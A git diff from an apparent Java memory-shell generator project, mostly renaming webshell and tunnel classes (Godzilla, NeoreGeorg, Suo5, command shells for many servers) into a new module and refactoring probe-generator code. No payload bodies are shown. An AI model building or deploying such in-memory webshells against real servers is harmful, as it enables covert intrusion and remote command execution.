memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgFilter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgFilter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgInterceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgInterceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgListener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgServlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgServlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgServlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgValve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgValve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgValve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5ControllerHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5ControllerHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5ControllerHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Interceptor.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Interceptor.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Interceptor.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Servlet.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5UndertowServletHandler.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Valve.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java similarity index 99% rename from memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java index f9a31d5c..ff50c0dc 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5WebFilter.java @@ -19,7 +19,6 @@ import reactor.netty.tcp.TcpClient; import java.io.ByteArrayOutputStream; import java.io.IOException; -import java.lang.reflect.Field; import java.net.InetSocketAddress; import java.nio.BufferOverflowException; import java.nio.ByteBuffer; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java deleted file mode 100644 index a132c87b..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/DigestUtils.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.reajason.javaweb.memshell.utils; - -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; - -/** - * @author ReaJason - * @since 2025/4/6 - */ -public class DigestUtils { - public static String md5Hex(String input) { - try { - MessageDigest md = MessageDigest.getInstance("MD5"); - byte[] hashBytes = md.digest(input.getBytes()); - - // Convert byte array to hex string - StringBuilder hexString = new StringBuilder(); - for (byte b : hashBytes) { - String hex = Integer.toHexString(0xff & b); - if (hex.length() == 1) { - hexString.append('0'); - } - hexString.append(hex); - } - return hexString.toString(); - } catch (NoSuchAlgorithmException e) { - throw new RuntimeException("MD5 algorithm not found", e); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java index 12363066..f4c102fa 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.probe; -import com.reajason.javaweb.memshell.generator.ShellGenerator; +import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.probe.config.*; import com.reajason.javaweb.probe.generator.DnsLogGenerator; import com.reajason.javaweb.probe.generator.SleepGenerator; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java similarity index 76% rename from generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java rename to generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java index 19641aa4..c3069988 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellGenerator.java @@ -1,22 +1,22 @@ package com.reajason.javaweb.probe; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ProbeContentConfig; +import com.reajason.javaweb.utils.CommonUtil; import org.apache.commons.lang3.StringUtils; /** * @author ReaJason * @since 2025/6/29 */ -public class ProbeGenerator { +public class ProbeShellGenerator { - public static ProbeResult generate(ProbeConfig probeConfig, ProbeContentConfig contentConfig) { + public static ProbeShellResult generate(ProbeConfig probeConfig, ProbeContentConfig contentConfig) { if (StringUtils.isBlank(probeConfig.getShellClassName())) { probeConfig.setShellClassName(CommonUtil.generateInjectorClassName()); } byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig); - return ProbeResult.builder() + return ProbeShellResult.builder() .shellClassName(probeConfig.getShellClassName()) .shellBytes(bytes) .probeConfig(probeConfig) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellResult.java similarity index 87% rename from generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java rename to generator/src/main/java/com/reajason/javaweb/probe/ProbeShellResult.java index 1f7ff614..2c05b364 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeShellResult.java @@ -18,7 +18,7 @@ import java.util.Base64; @NoArgsConstructor @AllArgsConstructor @Builder(builderClassName = "Builder") -public class ProbeResult { +public class ProbeShellResult { private String shellClassName; private transient byte[] shellBytes; private long shellSize; @@ -27,12 +27,12 @@ public class ProbeResult { private ProbeContentConfig probeContentConfig; public static class Builder { - public ProbeResult build() { + public ProbeShellResult build() { if (shellBytes != null) { shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes); shellSize = shellBytes.length; } - return new ProbeResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, probeConfig, probeContentConfig); + return new ProbeShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, probeConfig, probeContentConfig); } } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java index ef3e41ce..9983f308 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java @@ -1,13 +1,12 @@ package com.reajason.javaweb.probe.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeMethod; +import com.reajason.javaweb.utils.CommonUtil; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; -import lombok.experimental.SuperBuilder; import net.bytebuddy.jar.asm.Opcodes; /** diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java index d599e9b9..2fc04fc7 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.probe.generator; import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.memshell.generator.ShellGenerator; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ProbeContentConfig; import net.bytebuddy.ByteBuddy; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java index 784e67bc..e59b3c74 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.probe.generator; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.config.DnsLogConfig; import com.reajason.javaweb.probe.config.ProbeConfig; @@ -9,6 +8,7 @@ import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.dns.DnsLogJdk; import com.reajason.javaweb.probe.payload.dns.DnsLogServer; +import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java index d060ad2b..859c37a6 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.probe.generator; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.SleepConfig; import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.sleep.SleepServer; +import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 22e590ce..88922670 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -1,15 +1,15 @@ package com.reajason.javaweb.probe.generator.response; -import com.reajason.javaweb.Constants; +import com.reajason.javaweb.Server; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ResponseBodyConfig; import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.probe.payload.ByteCodeProbe; import com.reajason.javaweb.probe.payload.CommandProbe; import com.reajason.javaweb.probe.payload.response.*; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.asm.Advice; import net.bytebuddy.dynamic.DynamicType; @@ -39,61 +39,55 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator templateClass; - switch (probeContentConfig.getServer()) { - case Constants.Server.JETTY: - templateClass = JettyWriter.class; - break; - case Constants.Server.TOMCAT: - case Constants.Server.JBOSS: - case Constants.Server.BES: - templateClass = TomcatWriter.class; - break; - case Constants.Server.TONGWEB: - templateClass = TongWebWriter.class; - break; - case Constants.Server.RESIN: - templateClass = ResinWriter.class; - break; - case Constants.Server.UNDERTOW: - templateClass = UndertowWriter.class; - break; - case Constants.Server.GLASSFISH: - case Constants.Server.INFORSUITE: - templateClass = GlassFishWriter.class; - break; - case Constants.Server.WEBSPHERE: - templateClass = WebSphereWriter.class; - break; - case Constants.Server.WEBLOGIC: - templateClass = WebLogicWriter.class; - break; - case Constants.Server.APUSIC: - templateClass = ApusicWriter.class; - break; - default: - throw new IllegalArgumentException("responseBody now supported for server: " + probeContentConfig.getServer()); - } - - Class runInterceptor; - switch (probeConfig.getProbeContent()) { - case Command: - runInterceptor = CommandProbe.class; - break; - case Bytecode: - runInterceptor = ByteCodeProbe.class; - break; - default: - throw new IllegalArgumentException("responseBody not supported for probe content: " + probeConfig.getProbeContent()); - } - return buddy.redefine(templateClass) + Class writerClass = getWriterClass(); + Class runnerClass = getRunnerClass(); + return buddy.redefine(writerClass) .name(probeConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion())) .visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) .to(getDataFromReqInterceptor).on(named("getDataFromReq"))) - .visit(Advice.to(runInterceptor).on(named("run"))); + .visit(Advice.to(runnerClass).on(named("run"))); + } + + private Class getRunnerClass() { + switch (probeConfig.getProbeContent()) { + case Command: + return CommandProbe.class; + case Bytecode: + return ByteCodeProbe.class; + default: + throw new IllegalArgumentException("responseBody not supported for probe content: " + probeConfig.getProbeContent()); + } + } + + private Class getWriterClass() { + switch (probeContentConfig.getServer()) { + case Server.Jetty: + return JettyWriter.class; + case Server.Tomcat: + case Server.JBoss: + case Server.BES: + return TomcatWriter.class; + case Server.TongWeb: + return TongWebWriter.class; + case Server.Resin: + return ResinWriter.class; + case Server.Undertow: + return UndertowWriter.class; + case Server.GlassFish: + case Server.InforSuite: + return GlassFishWriter.class; + case Server.WebSphere: + return WebSphereWriter.class; + case Server.WebLogic: + return WebLogicWriter.class; + case Server.Apusic: + return ApusicWriter.class; + default: + throw new IllegalArgumentException("responseBody now supported for server: " + probeContentConfig.getServer()); + } } static class getDataFromReqHeaderInterceptor { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java similarity index 93% rename from 